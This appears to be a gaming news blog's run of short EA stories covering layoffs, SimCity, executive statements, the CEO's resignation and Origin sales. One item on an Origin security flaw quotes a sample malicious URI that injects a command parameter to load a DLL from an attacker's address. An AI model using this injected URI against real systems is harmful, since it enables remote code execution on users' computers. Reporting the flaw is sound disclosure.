One of the  industry’s largest businesses appears to be undergoing what is euphemistically known as ‘restructuring’. According to Kotaku’s sources, the publisher of mega hits like Battlefield and Mass Effect may be terminating as much as 10% of its total workforce.

As reported by Game Informer, multiple sources within the company have indicated that EA is winding up its Partners program. Under the Partners initiative, EA has distributed a range of third party titles, including Crysis and Left4Dead. EA is also said to be closing two of its development teams, casual gaming specialist PopCap Vancouver and Quicklime Games, best known for its work on the Need For Speed series.

EA has thus far proved to be less than forthcoming regarding the extent of the layoffs, conceding only that it has been forced to make “some difficult decisions to reduce the workforce in some locations”. We have requested more detail from EA and will update this story should we receive it.

Source: Kotaku and Game Informer

Earlier this month, EA announced that you could download free Nissan LEAF DLC into SimCity. Now they’ve announced a new DLC: exclusive tourist attractions which you can redeem from codes only available on certain Oral-B and Crest products. Yet SimCity is still a buggy, broken game. We need to ask some questions.

Which is actually meant to be a positive thing, at least according to BioWare co-founder Greg Zeschuk. Speaking to Games Industry International, Zeschuk said that “The best analogy I use, in a positive way, is EA gives you enough rope to hang yourself.”

Zeschuk, who departed the company last year to focus on making beer, claims he “definitely rejects” the idea that EA forced the company to include microtransactions, DLC, and multiplayer.

“It was really interesting because we really made all the choices we wanted to make ourselves; these are all things we wanted to try. And that’s something to remember – while we were independent we didn’t have quite the resources we had as part of EA, and then we got to EA and it was like ‘wow we can do all this stuff.’ We had to be really thoughtful about what we wanted to focus on.”

“We had complete creative control over a lot of it; some fans didn’t like some of it and some of it was experimental, quite frankly,” he said.

Source: Games Industry International

EA has taken out The Consumerist’s ‘Worst Company in America’ award for the second year in a row — the first time any company has done so in the history of the poll.

The game publisher edged out the Bank of America, Comcast and Walmart to claim the prize, taking an astonishing 78% of the final vote against the Bank of America.

Today’s announcement comes on the back of a heartfelt message by EA COO Peter Moore in which he claimed that the company had made a number of mistakes but was dedicated to fixing them and doing better.

In response, The Consumerist itself issued a strongly-worded rebuttal, saying that EA was shifting the blame to homophobes and “whiny Madden fans” rather than addressing the real reasons that people voted for EA, including dissatisfaction over broken games and microtransaction models.

Source: The Consumerist

With EA looking set to take out the “Worst Company in America” poll for the second year in a row, COO Peter Moore – running favourite to take over from the recently-resigned John Riccitiello – has promised that EA “can do better” in an impassioned blog post.

“I’ll be the first to admit that we’ve made plenty of mistakes.These include server shut downs too early, games that didn’t meet expectations, missteps on new pricing models and most recently, severely fumbling the launch of SimCity. We owe gamers better performance than this.

“We are committed to fixing our mistakes. Over the last three weeks, 900,000 SimCity players took us up on a free game offer for their troubles. We owed them that. We’re constantly listening to feedback from our players, through our Customer Experience group, Twitter, this blog, or other sites. The feedback is vital, and impacts the decisions we make.

“So here’s my response to this poll: we can do better. We will do better. But I am damn proud of this company, the people around the globe who work at EA, the games we create and the people that play them. The tallest trees catch the most wind. At EA we remain proud and unbowed.”

Moore is popular among press and gamers alike for his outspoken and frank personality, and for being a passionate gamer; although nobody is certain if they were real or temporary, he proudly displayed Halo 2 and Grand Theft Auto IV tattoos during his stint at Microsoft. He was the man who had to make the call on the Dreamcast, though.

The full post is well worth a read, particularly for Moore’s stirring response to criticism of EA’s LGBT policies.

Source: The Beat

EA Labels bossman Frank Gibeau has ruled out the idea that they forced Maxis to adopt always-online DRM for SimCity, claiming in a recent interview with GamesIndustry that they wouldn’t do such a thing because “DRM is a failed, dead-end strategy”.

“It’s not a viable strategy for the gaming business,” he concluded.

Gibeau also poured water on any conspiracy theories about “evil suits at EA forcing DRM down the throats of Maxis”. “That’s not the case at all,” he said. “At no point in time did anybody say ‘you must make this online’. It was the creative people on the team that thought it was best to create a multiplayer collaborative experience, and when you’re building entertainment you don’t always know what the customer is going to want. You have to innovate and try new things and surprise people and in this particular case that’s what we sought to achieve.”

“If you play an MMO, you don’t demand an offline mode, you just don’t. And in fact, SimCity started out and felt like an MMO more than anything else and it plays like an MMO.”

Gibeau did however say that he was “disappointed” that they didn’t do a good enough job of communicating with consumers about exactly how much like an MMO it was.

Source: GamesIndustry

John Riccitiello’s departure from EA has been a high-profile event, and naturally when a high-profile CEO departs there’s always somebody ready to anonymously put the knife in.

One ex-EA executive, speaking anonymously to GamesIndustry International, described Riccitiello as ‘the reason EA stopped kicking ass’.

“Riccitiello lost money every single year he was at EA while I was there, (and probably every other year he was there too). He just didn’t know anything about games, or rather, interactive entertainment in general,” said the anonymous ex-exec.

“After I left, he was gone for a while… [then] Riccitiello came back, but since he hadn’t learned anything as a VC guy, he really didn’t bring anything of value with him the first or the second time. He’s much more obnoxious than impressive.”

(more…)

Origin users are being warned that an exploit exists which could allow programs to use Origin to execute malicious code on your computer. The exploit, which works in much the same manner as a similar one spotted in Steam in October, would allow a hacker to use a web browser to force-open Origin and make it run unwanted code.

The exploit would change the command from normal syntax, such as origin://LaunchGame/[GameID], to something closer to origin://LaunchGame/[GameID]?CommandParams= -openautomate ATTACKER_IPevil.dll.

Security firm ReVuln, who also discovered the Steam exploit, have released a paper on the hack, as well as a video demonstration.

EA have sent a comment to Ars Technica to say “Our team is constantly investigating hypotheticals like this one as we continually update our security infrastructure.”

Source: Ars Technica

Big changes are in the works today at Electronic Arts as John Riccitiello resigns his CEO position. In his resignation letter, Riccitiello cites his personal responsibility for the failure of the company to meet financial guidance.

“This is a tough decision, but it all comes down to accountability,” said Riccitiello. “The progress EA has made on transitioning to digital games and services is something I’m extremely proud of. However, it currently looks like we will come in at the low end of, or slightly below, the financial guidance we issued in January, and we have fallen short of the internal operating plan we set one year ago.”

“EA’s shareholders and employees expect better, and I am accountable for the miss.”

A successor has not been named at this early stage, but Riccitiello is hoping to “allow the talented leaders at EA a clean start on FY14″.

Source: VG247

Comments by EA’s chief financial officer Blake Jorgensen last week that all future games would have microtransactions built in initially caused some disturbance in the Force — but Jorgensen has now sought to downplay any concerns.

“I made a statement in the conference along the lines of ‘We’ll have micro-transactions in our games’ and the community read that to mean all our games, and that’s really not true,” said Jorgensen at the Wedbush Technology Conference in NYC.

Jorgensen clarified that while they would ensure all games would have the ability to support microtransactions, that wasn’t the same as actually mandating their inclusion.

“All of our mobile games will have micro-transactions in them, because almost all of them are going to a world where they are play for free. We’re building into all of our games the ability to pay for things along the way, either to get to a higher level, to buy a new character, to buy a truck, a gun, whatever it might be.”

Source: Polygon

In a surprising twist, today Ubisoft and EA agreed to use each others’ digital delivery platforms to sell each others’ various games. Presumably coming together in a concerted effort to make Steam less appealing, the two publishers will now work together rather than trying to cut each others’ lunch.

In fact, Ubisoft is opening its doors to all manner of third-party developers for the first time, including Warner Bros. Interactive Entertainment, 1C Company, bitComposer Games, Bohemia Interactive, Encore Software, Focus Home Interactive, Freebird Games, Iceberg Interactive, Nordic Games, Paradox Interactive, Recoil Games, Robot Entertainment, Telltale Games, and Torn Banner Studios.

There’s no word on whether or not installing an EA game through uPlay will require you to launch Origin, or if buying an Ubisoft game through Origin will mean firing up uPlay anyway. Hopefully not, as that would be… well, the word “horrific” springs to mind.

Source: Press Release

Origin are actually using their massive discounting ability to offer some impressive discounts on EA games, valid until midnight AEDT tonight.

If you head over to the Origin online store you can grab Dead Space 1 for $4.50, Dead Space 2 for $6, and the entire Mass Effect Trilogy for $39 (normally $70).

Meanwhile, Dragon Age: Origins and the sequel are $10 each, Crysis is just $4.50 (what is this, Steam?) and Battlefield 3‘s various expansions are anywhere from $10 – $12 (if you’re not a Premium member).

Check them all out by clicking here.

Source: Origin (thanks Cas!)